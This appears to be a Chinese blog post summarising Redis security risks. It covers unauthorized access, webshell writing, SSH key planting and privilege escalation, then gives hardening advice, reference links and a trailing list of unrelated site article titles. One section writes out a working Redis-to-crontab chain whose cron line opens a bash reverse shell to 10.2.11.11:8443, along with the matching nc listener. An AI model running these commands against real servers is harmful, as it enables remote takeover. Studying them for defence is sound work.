Redis安全小结
时间:2022-05-07
本文章向大家介绍Redis安全小结,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
缘由:
近年来,随着Redis的流行,越来越多的安全研究人员注意到了Redis的安全问题,并通过Redis发起攻击。虽然我不做那方面,但是了解一下和Redis相关的安全攻击手段也是很有必要的。
正文:
和Redis相关的安全问题:
- 远程未授权访问
利用条件:默认情况下如果没有用「bind指令」对可连接IP做限制,则会出现「远程未授权访问」的情况,易被攻击者用来获取敏感信息以及进行进一步攻击。
利用方式:本地直接用redis-cli或图形化的工具连接远程的Redis数据库。
- 获取Webshell
利用条件:redis远程未授权访问,知道Web目录的绝对路径,且运行redis的用户有对Web目录的写权限。
利用方式:连上远端未授权访问的redis并用命令向Web目录写入一句话木马(也可以是大马),然后本地用菜刀连接。
- 获取SSH连接
利用条件:redis远程未授权访问,知道运行redis的用户名,且运行redis的用户可以进行SSH连接。
利用方式:在本地生产公私钥文件,然后连上远端redis并将自己的公钥写入远端服务器的 authotrized_keys 文件里,然后攻击者即可远程利用自己的私钥登录该服务器。
- 通过Redis提权
利用条件:已获取一个低权限的Webshell,服务器上运行着本地可访问的redis,且运行redis的用户权限较高。
利用方式:通过Webshell操作redis写SSH key文件以进行提权操作。
- 其他的一些利用(Redis+crontab)
$ redis-cli config set dir /var/spool/cron/
$ redis-cli config set dbfilename root
$ echo -e "nn*/1 * * * * bash -i >& /dev/tcp/10.2.11.11/8443 0>&1 nn" | redis-cli -x set 1
$ redis-cli save
$ nc -lvv 8443
Redis安全配置
- 以低权限启动;
- 设置bind指令,限定可以连接Redis服务器的IP;
- 修改Redis的默认端口;
- 设置密码;
- 禁用部分危险命令;
- 如果必需要对外提供服务的话,设置iptables规则;
参考链接:
- 利用redis写webshell http://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html http://www.secpulse.com/archives/5357.html
- redis配置不当可直接导致服务器被控制 http://www.secpulse.com/archives/40406.html
- Redis 未授权访问配合 SSH key 文件利用分析 http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/
- Redis未授权访问 http://singled0g.com/2015/11/12/redis-attack/ http://www.cdxy.me/tag/redis/
- Redis安全总结 http://bl4ck.in/index.php/penetration/Attack-Redis.html
- A few things about Redis security http://antirez.com/news/96 https://www.reddit.com/r/redis/comments/3zv85m/new_security_feature_redis_protected_mode/ https://news.ycombinator.com/item?id=10537852 http://static.nosec.org/download/redis_crackit_v1.1.pdf
- redis利用姿势收集 https://phpinfo.me/2016/07/07/1275.html
- vue计算属性详解——小白速会
- 【技巧】Java工程中的Debug信息分级输出接口及部署模式
- 1934: [Shoi2007]Vote 善意的投票
- 算法模板——线段树8 (字符串回文变换)
- 算法模板——哈希单模板字符串匹配
- javascript 原型及原型链详解
- 算法模板——并查集 2(支持快速即时查询本连通块内容,纯原创!)
- 1707: [Usaco2007 Nov]tanning分配防晒霜
- JavaScript 图片的上传前预览(兼容所有浏览器)
- 算法模板——sap网络最大流 3(递归+邻接表)
- BZOJ4819: [Sdoi2017]新生舞会(01分数规划)
- 3401: [Usaco2009 Mar]Look Up 仰望
- javascript 基本概念
- vue内置指令详解——小白速会
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Android自定义双向进度条的实现代码
- android视频截屏&手机录屏实现代码
- Android自定义组件跟随自己手指主动画圆
- Android RecyclerView 实现快速滚动的示例代码
- Android的八种对话框的实现代码示例
- Android使用RecyclerView实现今日头条频道管理功能
- Liunx(centos8)下的yum的基本用法和实例(推荐)
- Android中LeakCanary检测内存泄漏的方法
- Linux 查看磁盘IO并找出占用IO读写很高的进程
- Android实现简单的拨号器功能
- Android调用系统自带浏览器打开网页的实现方法
- Linux之删除带有空格的文件(不是目录)
- Android自定义AvatarImageView实现头像显示效果
- 如何使用win10内置的linux系统启动spring-boot项目
- Android 实现单线程轮循机制批量下载图片